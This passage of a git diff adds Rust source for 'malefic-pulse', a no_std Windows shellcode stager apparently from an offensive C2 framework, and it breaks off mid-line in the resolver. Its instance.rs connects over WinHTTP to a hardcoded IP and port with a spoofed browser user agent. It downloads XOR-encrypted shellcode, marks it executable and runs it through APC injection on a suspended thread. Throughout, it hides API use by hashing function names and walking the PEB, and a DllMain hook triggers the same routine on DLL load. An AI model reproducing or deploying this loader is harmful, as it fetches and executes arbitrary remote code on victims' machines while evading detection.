println!("cargo:rerun-if-changed=scripts/linker.ld"); + + let is_msvc = target.contains("msvc"); + + // Both exe and shellcode modes use -nostdlib (pulse is always no_std). + // The only difference: shellcode mode adds a linker script to merge all + // sections into a single .text for objcopy extraction. + if is_msvc { + println!("cargo:rustc-link-arg-bins=/ENTRY:stardust"); + println!("cargo:rustc-link-arg-bins=/SUBSYSTEM:WINDOWS"); + } else { + let entry = if target.contains("x86_64") { + "stardust" + } else { + "_stardust" + }; + + println!("cargo:rustc-link-arg-bins=-nostdlib"); + println!("cargo:rustc-link-arg-bins=-nostartfiles"); + println!("cargo:rustc-link-arg-bins=-static"); + println!("cargo:rustc-link-arg-bins=-fno-ident"); + println!("cargo:rustc-link-arg-bins=-Wl,-e{}", entry); + println!("cargo:rustc-link-arg-bins=-Wl,--gc-sections"); + println!("cargo:rustc-link-arg-bins=-Wl,--strip-all"); + println!("cargo:rustc-link-arg-bins=-Wl,-s,--no-seh,--enable-stdcall-fixup"); + println!("cargo:rustc-link-arg-bins=-Wl,--subsystem,windows"); + + // Shellcode mode: custom linker script merges everything into .text + #[cfg(feature = "shellcode")] + { + let linker_script = format!( + "{}/scripts/linker.ld", + env::var("CARGO_MANIFEST_DIR").unwrap() + ); + println!("cargo:rustc-link-arg-bins=-T{}", linker_script); + } + } +} diff --git a/malefic-pulse/scripts/linker.ld b/malefic-pulse/scripts/linker.ld new file mode 100644 index 0000000..e1f43eb --- /dev/null +++ b/malefic-pulse/scripts/linker.ld @@ -0,0 +1,28 @@ +SECTIONS +{ + .text : + { + *( .text$A ); + *( .text ); + *( .text$B ); + *( .rdata* ); + *( .text$C ); + } + + /DISCARD/ : + { + *(.pdata); + *(.xdata); + *(.debug*); + *(.eh_frame); + *(.note*); + *(.comment*); + *(.idata*); + *(.data*); + *(.bss*); + *(.CRT*); + *(.tls*); + *(.rsrc*); + *(.reloc*); + } +} diff --git a/malefic-pulse/src/constants.rs b/malefic-pulse/src/constants.rs new file mode 100644 index 0000000..b45ad4d --- /dev/null +++ b/malefic-pulse/src/constants.rs @@ -0,0 +1,35 @@ +#![allow(dead_code)] + +// FNV1a hash constants +pub const FNV1A_PRIME: u32 = 0x01000193; +pub const FNV1A_BASIS: u32 = 0x811c9dc5; + +// Constants for shellcode +#[cfg(target_arch = "x86_64")] +pub const END_OFFSET: usize = 0x10; + +#[cfg(target_arch = "x86")] +pub const END_OFFSET: usize = 0x10; + +// Windows constants +pub const IMAGE_DOS_SIGNATURE: u16 = 0x5A4D; +pub const IMAGE_NT_SIGNATURE: u32 = 0x00004550; +pub const IMAGE_DIRECTORY_ENTRY_EXPORT: usize = 0; + +// Memory allocation constants +pub const MEM_COMMIT: u32 = 0x1000; +pub const MEM_RESERVE: u32 = 0x2000; +pub const PAGE_READWRITE: u32 = 0x04; +pub const PAGE_EXECUTE_READ: u32 = 0x20; +pub const PAGE_EXECUTE_READWRITE: u32 = 0x40; + +// WinSock constants +pub const AF_INET: i32 = 2; +pub const SOCK_STREAM: i32 = 1; +pub const IPPROTO_TCP: i32 = 6; + +// NTSTATUS +pub const STATUS_SUCCESS: i32 = 0; + +// Thread creation flags +pub const THREAD_CREATE_FLAGS_CREATE_SUSPENDED: u32 = 0x00000001; diff --git a/malefic-pulse/src/hash.rs b/malefic-pulse/src/hash.rs new file mode 100644 index 0000000..6ae8395 --- /dev/null +++ b/malefic-pulse/src/hash.rs @@ -0,0 +1,70 @@ +use crate::constants::{FNV1A_BASIS, FNV1A_PRIME}; + +pub unsafe fn hash_string(string: *const u8) -> u32 { + let mut hash = FNV1A_BASIS; + let mut ptr = string; + + while *ptr != 0 { + let mut byte = *ptr; + + if byte >= b'a' { + byte -= 0x20; + } + + hash ^= byte as u32; + hash = hash.wrapping_mul(FNV1A_PRIME); + + ptr = ptr.add(1); + } + + hash +} + +pub unsafe fn hash_string_wide(string: *const u16) -> u32 { + let mut hash = FNV1A_BASIS; + let mut ptr = string; + + while *ptr != 0 { + let mut byte = (*ptr & 0xFF) as u8; + + if byte >= b'a' { + byte -= 0x20; + } + + hash ^= byte as u32; + hash = hash.wrapping_mul(FNV1A_PRIME); + + ptr = ptr.add(1); + } + + hash +} + +#[allow(dead_code)] +pub const fn hash_const(s: &str) -> u32 { + let bytes = s.as_bytes(); + let mut hash = FNV1A_BASIS; + let mut i = 0; + + while i < bytes.len() { + let mut byte = bytes[i]; + + if byte >= b'a' { + byte -= 0x20; + } + + hash ^= byte as u32; + hash = hash.wrapping_mul(FNV1A_PRIME); + + i += 1; + } + + hash +} + +#[macro_export] +macro_rules! hash_str { + ($s:expr) => { + $crate::hash::hash_const($s) + }; +} diff --git a/malefic-pulse/src/instance.rs b/malefic-pulse/src/instance.rs new file mode 100644 index 0000000..869f33b --- /dev/null +++ b/malefic-pulse/src/instance.rs @@ -0,0 +1,469 @@ +use crate::constants::{ + AF_INET, END_OFFSET, IPPROTO_TCP, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, + PAGE_READWRITE, SOCK_STREAM, STATUS_SUCCESS, THREAD_CREATE_FLAGS_CREATE_SUSPENDED, +}; +use crate::hash_str; +use crate::resolve; +use crate::windows::*; +use core::ffi::c_void; + +// kernel32 function pointer types +type FnLoadLibraryA = unsafe extern "system" fn(lpLibFileName: PSTR) -> HMODULE; +type FnGetProcAddress = unsafe extern "system" fn(hModule: HMODULE, lpProcName: PSTR) -> PVOID; + +// ws2_32 function pointer types +type FnWSAStartup = unsafe extern "system" fn(wVersionRequested: WORD, lpWSAData: *mut WSADATA) -> i32; +type FnSocket = unsafe extern "system" fn(af: i32, socket_type: i32, protocol: i32) -> usize; +type FnConnect = unsafe extern "system" fn(s: usize, name: *const SOCKADDR_IN, namelen: i32) -> i32; +type FnSend = unsafe extern "system" fn(s: usize, buf: *const u8, len: i32, flags: i32) -> i32; +type FnRecv = unsafe extern "system" fn(s: usize, buf: *mut u8, len: i32, flags: i32) -> i32; +type FnClosesocket = unsafe extern "system" fn(s: usize) -> i32; +type FnInetAddr = unsafe extern "system" fn(cp: *const u8) -> u32; +type FnHtons = unsafe extern "system" fn(hostshort: u16) -> u16; + +// winhttp.dll function pointer types +type FnWinHttpOpen = unsafe extern "system" fn( + pszAgentW: LPCWSTR, dwAccessType: DWORD, pszProxyW: LPCWSTR, + pszProxyBypassW: LPCWSTR, dwFlags: DWORD, +) -> HANDLE; +type FnWinHttpConnect = unsafe extern "system" fn( + hSession: HANDLE, pswzServerName: LPCWSTR, nServerPort: WORD, dwReserved: DWORD, +) -> HANDLE; +type FnWinHttpOpenRequest = unsafe extern "system" fn( + hConnect: HANDLE, pwszVerb: LPCWSTR, pwszObjectName: LPCWSTR, + pwszVersion: LPCWSTR, pwszReferrer: LPCWSTR, ppwszAcceptTypes: *const LPCWSTR, + dwFlags: DWORD, +) -> HANDLE; +type FnWinHttpSendRequest = unsafe extern "system" fn( + hRequest: HANDLE, lpszHeaders: LPCWSTR, dwHeadersLength: DWORD, + lpOptional: PVOID, dwOptionalLength: DWORD, + dwTotalLength: DWORD, dwContext: usize, +) -> BOOL; +type FnWinHttpReceiveResponse = unsafe extern "system" fn( + hRequest: HANDLE, lpReserved: PVOID, +) -> BOOL; +type FnWinHttpReadData = unsafe extern "system" fn( + hRequest: HANDLE, lpBuffer: PVOID, dwNumberOfBytesToRead: DWORD, + lpdwNumberOfBytesRead: *mut DWORD, +) -> BOOL; +type FnWinHttpCloseHandle = unsafe extern "system" fn(hInternet: HANDLE) -> BOOL; +type FnWinHttpSetOption = unsafe extern "system" fn( + hInternet: HANDLE, dwOption: DWORD, lpBuffer: PVOID, dwBufferLength: DWORD, +) -> BOOL; + +// wininet.dll function pointer types +type FnInternetOpenA = unsafe extern "system" fn( + lpszAgent: PSTR, dwAccessType: DWORD, lpszProxy: PSTR, + lpszProxyBypass: PSTR, dwFlags: DWORD, +) -> HANDLE; +type FnInternetConnectA = unsafe extern "system" fn( + hInternet: HANDLE, lpszServerName: PSTR, nServerPort: WORD, + lpszUserName: PSTR, lpszPassword: PSTR, + dwService: DWORD, dwFlags: DWORD, dwContext: usize, +) -> HANDLE; +type FnHttpOpenRequestA = unsafe extern "system" fn( + hConnect: HANDLE, lpszVerb: PSTR, lpszObjectName: PSTR, + lpszVersion: PSTR, lpszReferrer: PSTR, lplpszAcceptTypes: *const PSTR, + dwFlags: DWORD, dwContext: usize, +) -> HANDLE; +type FnHttpSendRequestA = unsafe extern "system" fn( + hRequest: HANDLE, lpszHeaders: PSTR, dwHeadersLength: DWORD, + lpOptional: PVOID, dwOptionalLength: DWORD, +) -> BOOL; +type FnInternetReadFile = unsafe extern "system" fn( + hFile: HANDLE, lpBuffer: PVOID, dwNumberOfBytesToRead: DWORD, + lpdwNumberOfBytesRead: *mut DWORD, +) -> BOOL; +type FnInternetCloseHandle = unsafe extern "system" fn(hInternet: HANDLE) -> BOOL; +type FnInternetSetOptionA = unsafe extern "system" fn( + hInternet: HANDLE, dwOption: DWORD, lpBuffer: PVOID, dwBufferLength: DWORD, +) -> BOOL; + +// ntdll NtAPI function pointer types +type FnNtAllocateVirtualMemory = unsafe extern "system" fn( + ProcessHandle: HANDLE, + BaseAddress: *mut PVOID, + ZeroBits: ULONG_PTR, + RegionSize: PSIZE_T, + AllocationType: ULONG, + Protect: ULONG, +) -> NTSTATUS; +type FnNtProtectVirtualMemory = unsafe extern "system" fn( + ProcessHandle: HANDLE, + BaseAddress: *mut PVOID, + RegionSize: PSIZE_T, + NewProtect: ULONG, + OldProtect: *mut ULONG, +) -> NTSTATUS; +type FnNtCreateThreadEx = unsafe extern "system" fn( + ThreadHandle: *mut HANDLE, + DesiredAccess: ACCESS_MASK, + ObjectAttributes: *mut OBJECT_ATTRIBUTES, + ProcessHandle: HANDLE, + StartRoutine: PVOID, + Argument: PVOID, + CreateFlags: ULONG, + ZeroBits: SIZE_T, + StackSize: SIZE_T, + MaximumStackSize: SIZE_T, + AttributeList: PVOID, +) -> NTSTATUS; +type FnNtQueueApcThread = unsafe extern "system" fn( + ThreadHandle: HANDLE, + ApcRoutine: PVOID, + ApcArgument1: PVOID, + ApcArgument2: PVOID, + ApcArgument3: PVOID, +) -> NTSTATUS; +type FnNtAlertResumeThread = unsafe extern "system" fn( + ThreadHandle: HANDLE, + PreviousSuspendCount: *mut ULONG, +) -> NTSTATUS; +type FnNtWaitForSingleObject = unsafe extern "system" fn( + Handle: HANDLE, + Alertable: BOOL, + Timeout: *mut i64, +) -> NTSTATUS; + +pub struct Instance { + pub base: BaseInfo, + pub ntdll: NtdllModule, + pub kernel32: Kernel32Module, +} + +pub struct BaseInfo { + pub address: usize, + pub length: usize, +} + +pub struct NtdllModule { + pub handle: usize, + pub NtAllocateVirtualMemory: *mut FnNtAllocateVirtualMemory, + pub NtProtectVirtualMemory: *mut FnNtProtectVirtualMemory, + pub NtCreateThreadEx: *mut FnNtCreateThreadEx, + pub NtQueueApcThread: *mut FnNtQueueApcThread, + pub NtAlertResumeThread: *mut FnNtAlertResumeThread, + pub NtWaitForSingleObject: *mut FnNtWaitForSingleObject, +} + +pub struct Kernel32Module { + pub handle: usize, + pub LoadLibraryA: *mut FnLoadLibraryA, + pub GetProcAddress: *mut FnGetProcAddress, +} + +impl Instance { + pub fn new() -> Self { + unsafe { + let mut instance = Instance { + base: BaseInfo { + address: 0, + length: 0, + }, + ntdll: NtdllModule { + handle: 0, + NtAllocateVirtualMemory: core::ptr::null_mut(), + NtProtectVirtualMemory: core::ptr::null_mut(), + NtCreateThreadEx: core::ptr::null_mut(), + NtQueueApcThread: core::ptr::null_mut(), + NtAlertResumeThread: core::ptr::null_mut(), + NtWaitForSingleObject: core::ptr::null_mut(), + }, + kernel32: Kernel32Module { + handle: 0, + LoadLibraryA: core::ptr::null_mut(), + GetProcAddress: core::ptr::null_mut(), + }, + }; + + instance.base.address = crate::RipStart(); + instance.base.length = + (crate::RipData() - instance.base.address) + END_OFFSET; + + instance.ntdll.handle = resolve::module(hash_str!("ntdll.dll")); + if instance.ntdll.handle == 0 { + return instance; + } + + instance.kernel32.handle = resolve::module(hash_str!("kernel32.dll")); + if instance.kernel32.handle == 0 { + return instance; + } + + // Resolve kernel32 APIs + instance.kernel32.LoadLibraryA = core::mem::transmute( + resolve::_api(instance.kernel32.handle, hash_str!("LoadLibraryA") as usize), + ); + instance.kernel32.GetProcAddress = core::mem::transmute( + resolve::_api(instance.kernel32.handle, hash_str!("GetProcAddress") as usize), + ); + + // Resolve ntdll APIs + instance.ntdll.NtAllocateVirtualMemory = core::mem::transmute( + resolve::_api(instance.ntdll.handle, hash_str!("NtAllocateVirtualMemory") as usize), + ); + instance.ntdll.NtProtectVirtualMemory = core::mem::transmute( + resolve::_api(instance.ntdll.handle, hash_str!("NtProtectVirtualMemory") as usize), + ); + instance.ntdll.NtCreateThreadEx = core::mem::transmute( + resolve::_api(instance.ntdll.handle, hash_str!("NtCreateThreadEx") as usize), + ); + instance.ntdll.NtQueueApcThread = core::mem::transmute( + resolve::_api(instance.ntdll.handle, hash_str!("NtQueueApcThread") as usize), + ); + instance.ntdll.NtAlertResumeThread = core::mem::transmute( + resolve::_api(instance.ntdll.handle, hash_str!("NtAlertResumeThread") as usize), + ); + instance.ntdll.NtWaitForSingleObject = core::mem::transmute( + resolve::_api(instance.ntdll.handle, hash_str!("NtWaitForSingleObject") as usize), + ); + + instance + } + } + + // INSTANCE_START_MARKER - malefic-mutant appends start() and closes impl below + + pub unsafe fn start(&self, _args: *mut c_void) { + fn xor_process(data: &mut [u8], key: &[u8], iv: &[u8], counter: &mut usize) { + for byte in data.iter_mut() { + *byte ^= key[*counter % key.len()] ^ iv[*counter % iv.len()]; + *counter += 1; + } + } + + // Load winhttp.dll + let dll_name: [u8; 12] = [b'w', b'i', b'n', b'h', b't', b't', b'p', b'.', b'd', b'l', b'l', 0]; + let load_lib: FnLoadLibraryA = core::mem::transmute(self.kernel32.LoadLibraryA); + let h_dll = load_lib(dll_name.as_ptr() as *mut u8); + if h_dll.is_null() { return; } + let dll_base = h_dll as usize; + + // Resolve WinHTTP APIs via hash + let p_winhttp_open: FnWinHttpOpen = core::mem::transmute( + resolve::_api(dll_base, hash_str!("WinHttpOpen") as usize)); + let p_winhttp_connect: FnWinHttpConnect = core::mem::transmute( + resolve::_api(dll_base, hash_str!("WinHttpConnect") as usize)); + let p_winhttp_open_request: FnWinHttpOpenRequest = core::mem::transmute( + resolve::_api(dll_base, hash_str!("WinHttpOpenRequest") as usize)); + let p_winhttp_send_request: FnWinHttpSendRequest = core::mem::transmute( + resolve::_api(dll_base, hash_str!("WinHttpSendRequest") as usize)); + let p_winhttp_receive_response: FnWinHttpReceiveResponse = core::mem::transmute( + resolve::_api(dll_base, hash_str!("WinHttpReceiveResponse") as usize)); + let p_winhttp_read_data: FnWinHttpReadData = core::mem::transmute( + resolve::_api(dll_base, hash_str!("WinHttpReadData") as usize)); + let p_winhttp_close_handle: FnWinHttpCloseHandle = core::mem::transmute( + resolve::_api(dll_base, hash_str!("WinHttpCloseHandle") as usize)); + let p_winhttp_set_option: FnWinHttpSetOption = core::mem::transmute( + resolve::_api(dll_base, hash_str!("WinHttpSetOption") as usize)); + + // WinHttpOpen(userAgent, WINHTTP_ACCESS_TYPE_NO_PROXY=1, null, null, 0) + let h_session = p_winhttp_open( + core::ptr::null(), + 1u32, + core::ptr::null(), + core::ptr::null(), + 0u32, + ); + if h_session.is_null() { return; } + + // WinHttpConnect(hSession, server, port, 0) + let server: [u16; 16] = [0x0031, 0x0039, 0x0032, 0x002e, 0x0031, 0x0036, 0x0038, 0x002e, 0x0032, 0x0033, 0x0039, 0x002e, 0x0031, 0x0036, 0x0031, 0x0000]; + let h_connect = p_winhttp_connect( + h_session, + server.as_ptr(), + 8080u16, + 0u32, + ); + if h_connect.is_null() { + p_winhttp_close_handle(h_session); + return; + } + + // WinHttpOpenRequest(hConnect, method, path, null, null, null, flags) + let method: [u16; 5] = [0x0050, 0x004f, 0x0053, 0x0054, 0x0000]; + let path: [u16; 7] = [0x002f, 0x0070, 0x0075, 0x006c, 0x0073, 0x0065, 0x0000]; + let flags: DWORD = 0u32; + let h_request = p_winhttp_open_request( + h_connect, + method.as_ptr(), + path.as_ptr(), + core::ptr::null(), + core::ptr::null(), + core::ptr::null(), + flags, + ); + if h_request.is_null() { + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + return; + } + + + + // Configuration + let key: [u8; 16] = [0x6d, 0x61, 0x6c, 0x69, 0x63, 0x65, 0x6f, 0x66, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c]; + let iv: [u8; 16] = [0x6c, 0x61, 0x6e, 0x72, 0x65, 0x74, 0x6e, 0x69, 0x66, 0x6f, 0x65, 0x63, 0x69, 0x6c, 0x61, 0x6d]; + + // Build handshake body: [start][magic:4][artifact_id:4][end] + let mut body: [u8; 10] = [0; 10]; + body[0] = 65u8; + let m = 0x03e3d026u32.to_le_bytes(); + body[1] = m[0]; body[2] = m[1]; body[3] = m[2]; body[4] = m[3]; + let a = 3u32.to_le_bytes(); + body[5] = a[0]; body[6] = a[1]; body[7] = a[2]; body[8] = a[3]; + body[9] = 66u8; + + // Encrypt body + let mut counter: usize = 0; + xor_process(&mut body, &key, &iv, &mut counter); + + // WinHttpSendRequest(hRequest, headers, headersLen, body, bodyLen, totalLen, context) + let req_headers: [u16; 87] = [0x0055, 0x0073, 0x0065, 0x0072, 0x002d, 0x0041, 0x0067, 0x0065, 0x006e, 0x0074, 0x003a, 0x0020, 0x004d, 0x006f, 0x007a, 0x0069, 0x006c, 0x006c, 0x0061, 0x002f, 0x0035, 0x002e, 0x0030, 0x0020, 0x0028, 0x0057, 0x0069, 0x006e, 0x0064, 0x006f, 0x0077, 0x0073, 0x0020, 0x004e, 0x0054, 0x0020, 0x0036, 0x002e, 0x0031, 0x003b, 0x0020, 0x0057, 0x004f, 0x0057, 0x0036, 0x0034, 0x003b, 0x0020, 0x0072, 0x0076, 0x003a, 0x0034, 0x0030, 0x002e, 0x0030, 0x0029, 0x0020, 0x0047, 0x0065, 0x0063, 0x006b, 0x006f, 0x002f, 0x0032, 0x0030, 0x0031, 0x0030, 0x0030, 0x0031, 0x0030, 0x0031, 0x0020, 0x0046, 0x0069, 0x0072, 0x0065, 0x0066, 0x006f, 0x0078, 0x002f, 0x0034, 0x0030, 0x002e, 0x0030, 0x000d, 0x000a, 0x0000]; + let ret = p_winhttp_send_request( + h_request, + req_headers.as_ptr(), + 86u32, + body.as_ptr() as PVOID, + 10u32, + 10u32, + 0usize, + ); + if ret == 0 { + p_winhttp_close_handle(h_request); + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + return; + } + + // WinHttpReceiveResponse + let ret = p_winhttp_receive_response(h_request, core::ptr::null_mut()); + if ret == 0 { + p_winhttp_close_handle(h_request); + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + return; + } + + // Read response body: first 9 bytes header + let mut resp: [u8; 9] = [0; 9]; + let mut offset = 0u32; + while offset < 9 { + let mut bytes_read: DWORD = 0; + let ret = p_winhttp_read_data( + h_request, + resp.as_mut_ptr().add(offset as usize) as PVOID, + 9 - offset, + &mut bytes_read, + ); + if ret == 0 || bytes_read == 0 { + p_winhttp_close_handle(h_request); + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + return; + } + offset += bytes_read; + } + + // Decrypt and validate response + counter = 0; + xor_process(&mut resp, &key, &iv, &mut counter); + if resp[0] != 65u8 { + p_winhttp_close_handle(h_request); + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + return; + } + let recv_magic = u32::from_le_bytes([resp[1], resp[2], resp[3], resp[4]]); + let recv_len = u32::from_le_bytes([resp[5], resp[6], resp[7], resp[8]]); + if recv_magic != 0x03e3d026u32 || recv_len == 0 { + p_winhttp_close_handle(h_request); + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + return; + } + + // Allocate memory for shellcode + let mut base_addr: PVOID = core::ptr::null_mut(); + let mut region_size: SIZE_T = recv_len as usize + 1; + let nt_alloc: FnNtAllocateVirtualMemory = + core::mem::transmute(self.ntdll.NtAllocateVirtualMemory); + let status = nt_alloc( + -1isize as HANDLE, &mut base_addr, 0, &mut region_size, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, + ); + if status != STATUS_SUCCESS || base_addr.is_null() { + p_winhttp_close_handle(h_request); + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + return; + } + + // Read shellcode via WinHttpReadData + let mut total_read: u32 = 0; + while total_read < recv_len { + let mut bytes_read: DWORD = 0; + let ret = p_winhttp_read_data( + h_request, + (base_addr as *mut u8).add(total_read as usize) as PVOID, + recv_len - total_read, + &mut bytes_read, + ); + if ret == 0 || bytes_read == 0 { + p_winhttp_close_handle(h_request); + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + return; + } + total_read += bytes_read; + } + p_winhttp_close_handle(h_request); + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + + // Decrypt shellcode + xor_process( + core::slice::from_raw_parts_mut(base_addr as *mut u8, recv_len as usize), + &key, &iv, &mut counter, + ); + + // Change memory protection to executable + let mut old_protect: ULONG = 0; + let mut protect_base = base_addr; + let mut protect_size = region_size; + let nt_protect: FnNtProtectVirtualMemory = + core::mem::transmute(self.ntdll.NtProtectVirtualMemory); + nt_protect( + -1isize as HANDLE, &mut protect_base, &mut protect_size, + PAGE_EXECUTE_READ, &mut old_protect, + ); + + // Execute shellcode via APC injection + let nt_create: FnNtCreateThreadEx = + core::mem::transmute(self.ntdll.NtCreateThreadEx); + let nt_queue: FnNtQueueApcThread = + core::mem::transmute(self.ntdll.NtQueueApcThread); + let nt_resume: FnNtAlertResumeThread = + core::mem::transmute(self.ntdll.NtAlertResumeThread); + let nt_wait: FnNtWaitForSingleObject = + core::mem::transmute(self.ntdll.NtWaitForSingleObject); + + let mut thread_handle: HANDLE = core::ptr::null_mut(); + nt_create( + &mut thread_handle, 0x1FFFFF, core::ptr::null_mut(), + -1isize as HANDLE, base_addr, core::ptr::null_mut(), + THREAD_CREATE_FLAGS_CREATE_SUSPENDED, + 0, 0, 0, core::ptr::null_mut(), + ); + if thread_handle.is_null() { return; } + + nt_queue( + thread_handle, base_addr, + core::ptr::null_mut(), core::ptr::null_mut(), core::ptr::null_mut(), + ); + + let mut suspend_count: ULONG = 0; + nt_resume(thread_handle, &mut suspend_count); + nt_wait(thread_handle, 0, core::ptr::null_mut()); + } +} diff --git a/malefic-pulse/src/lib.rs b/malefic-pulse/src/lib.rs new file mode 100644 index 0000000..ab4638b --- /dev/null +++ b/malefic-pulse/src/lib.rs @@ -0,0 +1,135 @@ +#![no_std] +#![no_main] +#![allow(non_snake_case)] + +mod constants; +mod hash; +mod instance; +mod memory; +mod resolve; +mod windows; + +pub use constants::*; +pub use hash::*; +pub use instance::*; +pub use resolve::*; +pub use windows::*; + +// Stub for Windows GNU target: libcore.rlib contains .xdata unwind tables +// that reference rust_eh_personality even when panic=abort is set. +// Providing an empty stub satisfies the linker. +#[cfg(all(target_os = "windows", target_env = "gnu"))] +#[no_mangle] +pub extern "C" fn rust_eh_personality() {} + +use core::ffi::c_void; +use core::panic::PanicInfo; + +// x64 entry point and RIP-relative helpers via global_asm +#[cfg(target_arch = "x86_64")] +core::arch::global_asm!( + ".section .text$A,\"xr\"", + ".global stardust", + ".global RipStart", + "stardust:", + "push rsi", + "mov rsi, rsp", + "and rsp, -16", + "sub rsp, 0x20", + "call entry", + "mov rsp, rsi", + "pop rsi", + "ret", + "RipStart:", + "call 2f", + "ret", + "2:", + "mov rax, [rsp]", + "sub rax, 0x1b", + "ret", +); + +#[cfg(target_arch = "x86_64")] +core::arch::global_asm!( + ".section .text$C,\"xr\"", + ".global RipData", + "RipData:", + "call 2f", + "ret", + "2:", + "mov rax, [rsp]", + "sub rax, 0x5", + "ret", +); + +// x86 entry point and RIP-relative helpers via global_asm +#[cfg(target_arch = "x86")] +core::arch::global_asm!( + ".section .text$A,\"xr\"", + ".global _stardust", + ".global _RipStart", + "_stardust:", + "push ebp", + "mov ebp, esp", + "call _entry", + "mov esp, ebp", + "pop ebp", + "ret", + "_RipStart:", + "call 2f", + "ret", + "2:", + "mov eax, [esp]", + "sub eax, 0x11", + "ret", +); + +#[cfg(target_arch = "x86")] +core::arch::global_asm!( + ".section .text$C,\"xr\"", + ".global _RipData", + "_RipData:", + "call 2f", + "ret", + "2:", + "mov eax, [esp]", + "sub eax, 0x5", + "ret", +); + +extern "C" { + pub fn RipStart() -> usize; + pub fn RipData() -> usize; +} + +#[no_mangle] +pub unsafe extern "C" fn entry(args: *mut c_void) { + let instance = instance::Instance::new(); + instance.start(args); +} + +#[no_mangle] +pub unsafe extern "system" fn DllMain( + _hinst: *mut c_void, + reason: u32, + _reserved: *mut c_void, +) -> i32 { + if reason == 1 { + // DLL_PROCESS_ATTACH + entry(core::ptr::null_mut()); + } + 1 +} + +#[panic_handler] +fn panic(_info: &PanicInfo) -> ! { + loop {} +} + +#[no_mangle] +pub unsafe extern "C" fn __aeabi_unwind_cpp_pr0() { + loop {} +} + +#[export_name = "_fltused"] +static _FLTUSED: i32 = 0; diff --git a/malefic-pulse/src/main.rs b/malefic-pulse/src/main.rs new file mode 100644 index 0000000..b287a77 --- /dev/null +++ b/malefic-pulse/src/main.rs @@ -0,0 +1,10 @@ +#![no_std] +#![no_main] + +// Force-link the lib crate so that stardust (the real entry point, set via +// -estardust linker flag) and all reachable code end up in the final binary. +extern crate malefic_pulse; + +// Force the linker to include the lib's rlib (extern crate alone may not suffice) +#[used] +static _FORCE_LINK: unsafe extern "C" fn(*mut core::ffi::c_void) = malefic_pulse::entry; diff --git a/malefic-pulse/src/memory.rs b/malefic-pulse/src/memory.rs new file mode 100644 index 0000000..617ff09 --- /dev/null +++ b/malefic-pulse/src/memory.rs @@ -0,0 +1,96 @@ +pub unsafe fn zero(memory: *mut u8, length: u32) { + for i in 0..length { + *memory.offset(i as isize) = 0; + } +} + +pub unsafe fn copy(destination: *mut u8, source: *const u8, length: u32) -> *mut u8 { + for i in 0..length { + *destination.offset(i as isize) = *source.offset(i as isize); + } + destination +} + +pub unsafe fn compare(memory1: *const u8, memory2: *const u8, length: usize) -> u32 { + let mut a = memory1; + let mut b = memory2; + let mut len = length; + + while len > 0 { + let val1 = *a; + let val2 = *b; + + if val1 != val2 { + return (val1 as i32 - val2 as i32) as u32; + } + + a = a.offset(1); + b = b.offset(1); + len -= 1; + } + + 0 +} + +pub unsafe fn symbol(s: *const u8) -> T { + let rip_data = external_rip_data(); + let offset = (s as usize).wrapping_sub(rip_data_fn_addr() as usize); + let absolute_addr = rip_data.wrapping_sub(offset); + + core::mem::transmute_copy(&absolute_addr) +} + +fn rip_data_fn_addr() -> usize { + crate::RipData as usize +} + +fn external_rip_data() -> usize { + unsafe { crate::RipData() } +} + +// Compiler intrinsics required by no_std builds (-nostdlib) +#[no_mangle] +pub unsafe extern "C" fn memset(dest: *mut u8, val: i32, n: usize) -> *mut u8 { + let mut i = 0; + while i < n { + *dest.add(i) = val as u8; + i += 1; + } + dest +} + +#[no_mangle] +pub unsafe extern "C" fn memcpy(dest: *mut u8, src: *const u8, n: usize) -> *mut u8 { + let mut i = 0; + while i < n { + *dest.add(i) = *src.add(i); + i += 1; + } + dest +} + +#[no_mangle] +pub unsafe extern "C" fn memcmp(s1: *const u8, s2: *const u8, n: usize) -> i32 { + let mut i = 0; + while i < n { + let diff = *s1.add(i) as i32 - *s2.add(i) as i32; + if diff != 0 { + return diff; + } + i += 1; + } + 0 +} + +#[macro_export] +macro_rules! range_head_list { + ($head_list:expr, $type:ty, |$current:ident| $body:block) => {{ + let head_ptr = $head_list as *const LIST_ENTRY; + let mut $current = (*head_ptr).Flink as $type; + + while $current as *const _ != head_ptr as *const _ { + $body + $current = (*$current).InLoadOrderLinks.Flink as $type; + } + }}; +} diff --git a/malefic-pulse/src/resolve.rs b/malefic-pulse/src/resolve.rs new file mode 100644 index 0000000..263a076 --- /dev/null +++ b/malefic-pulse/src/resolve.rs @@ -0,0 +1,80 @@ +use crate::constants::{IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_DOS_SIGNATURE, IMAGE_NT_SIGNATURE}; +use crate::hash::{hash_string, hash_string_wide}; +use crate::range_head_list; +use crate::windows::*; + +pub unsafe fn module(library_hash: u32) -> usize { + let peb = NtCurrentPeb(); + let ldr = (*peb).Ldr; + let module_list = &(*ldr).InLoadOrderModuleList; + + let mut result = 0; + + range_head_list!(module_list, PLDR_DATA_TABLE_ENTRY, |current| { + if library_hash == 0 { + result = (*current).OriginalBase as usize; + break; + } + + if hash_string_wide((*current).BaseDllName.Buffer) == library_hash { + result = (*current).OriginalBase as usize; + break; + } + }); + + result +} + +pub unsafe fn _api(module_base: usize, symbol_hash: usize) -> usize { + if module_base == 0 || symbol_hash == 0 { + return 0; + } + + let mut address = 0; + + let dos_header = module_base as *mut IMAGE_DOS_HEADER; + if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE { + return 0; + } + + let nt_headers = (module_base + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS; + if (*nt_headers).Signature != IMAGE_NT_SIGNATURE { + return 0; + } + + let export_dir_rva = + (*nt_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + let export_dir = (module_base + export_dir_rva as usize) as *mut IMAGE_EXPORT_DIRECTORY; + + let names = (module_base + (*export_dir).AddressOfNames as usize) as *mut u32; + let functions = (module_base + (*export_dir).AddressOfFunctions as usize) as *mut u32; + let ordinals = (module_base + 